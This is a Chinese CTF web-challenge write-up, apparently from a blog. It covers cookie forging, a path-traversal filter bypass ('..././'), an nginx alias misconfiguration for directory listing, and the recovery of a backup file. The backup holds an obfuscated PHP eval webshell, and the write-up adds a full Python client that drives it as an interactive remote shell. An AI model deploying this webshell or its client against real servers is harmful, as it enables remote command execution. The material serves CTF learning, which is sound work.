标签：value put ddr 过滤 ubuntu ref app rate content
无
robots.txt和/admin/
里面放了两个文件名hint.php和Hack.php
依次访问
内容为
配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf
无法访问，要求登录，但是登录功能点无法使用，抓包，发现cookie字段isLogin=0
在浏览器console里修改为isLogin=1，成功访问
尝试了一遍，发现只有管理中心链接可以跳转
应该是文件包含
file=../../../../etc/passwd&ext=，页面除了少了please continue之外没有变化file=index./&ext=php，页面没有please continuefile=index../&ext=php，页面有please continuefile=index.../&ext=php，页面有please continue有两种情况，一种是过滤了./，另一种是过滤了../，但第一次尝试，读取不成功，返回的页面中没有please continue，所以应该是过滤了../
再次尝试file=..././..././..././..././etc/passwd&ext=
访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=
得到内容
server
{
listen 8080;
## listen for ipv4; this line is default and implied listen [::]:8080;
## listen for ipv6 root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off; server_name _;
# Make site accessible from http://localhost/
#server_name localhost;
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; }
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; }
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
# error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php
$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php; include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ { deny all; }
include /var/www/nginx[.]conf;
}
发现/web-img可以进行目录浏览，这里的url解析为/web-img，所以构造的路径需要直接添加在后，不需要再添加/
访问/web-img，绝对路径为/web-img
访问web-img../
发现hack.php.bak文件
解码后
<?php
$kh = "42f7";
$kf = "e9ac";
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0;$i < $l;) {
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
$o.= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s = & $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i].= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print ("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
大概是个加壳的webshell，但看不懂 = =，搜到一篇介绍，使用介绍里的exp(py2)
= = = = = = = = = 介绍里的脚本（使用的时候需要把67、68行的密钥和70行的url改一下）
# encoding: utf-8
from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq, amount):
length = len(seq)
if length == 0 or length < amount:
print ‘Error Input‘
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0, length - 1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ‘‘
for i in xrange(amount):
result += chr(randint(0, 255))
return result
def randAlpha(amount):
result = ‘‘
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text, key):
result = ‘‘
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt < lenTxt and iKey < lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = ‘http://220.249.52.133:43560/hack.php‘
defaultLang = ‘zh-CN‘
languages = [‘zh-TW;q=0.%d‘, ‘zh-HK;q=0.%d‘, ‘en-US;q=0.%d‘, ‘en;q=0.%d‘]
proxies = None # {‘http‘:‘http://127.0.0.1:8080‘} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ‘,‘.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint(‘$i is %s‘ % (init2Char))
debugPrint(‘md5 head: %s‘ % (md5head,))
debugPrint(‘md5 tail: %s‘ % (md5tail,))
# Interactive php shell
cmd = raw_input(‘phpshell > ‘)
while cmd != ‘‘:
# build junk data in referer
query = []
for i in xrange(max(indexes) + 1 + randint(0, 2)):
key = randAlpha(randint(3, 6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
query.append((key, value))
debugPrint(‘Before insert payload:‘)
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload, xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2, len(payload) - 3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0], payloadPieces[iPiece])
iPiece += 1
referer = url + ‘?‘ + urllib.urlencode(query)
debugPrint(‘After insert payload, referer is:‘)
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url, headers={‘Accept-Language‘: acceptLangStr, ‘Referer‘: referer}, proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r‘<%s>(.*)</%s>‘ % (xorKey, xorKey))
output = pattern.findall(html)
if len(output) == 0:
print ‘Error, no backdoor response‘
cmd = raw_input(‘phpshell > ‘)
continue
output = output[0]
debugPrint(output)
output = output.decode(‘base64‘)
output = loopXor(output, xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input(‘phpshell > ‘)
标签：value put ddr 过滤 ubuntu ref app rate content
原文地址：https://www.cnblogs.com/R3col/p/13390419.html
